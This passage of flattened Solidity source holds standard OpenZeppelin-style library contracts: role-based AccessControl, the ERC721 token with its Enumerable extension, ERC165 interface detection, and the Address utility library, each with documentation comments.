"../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 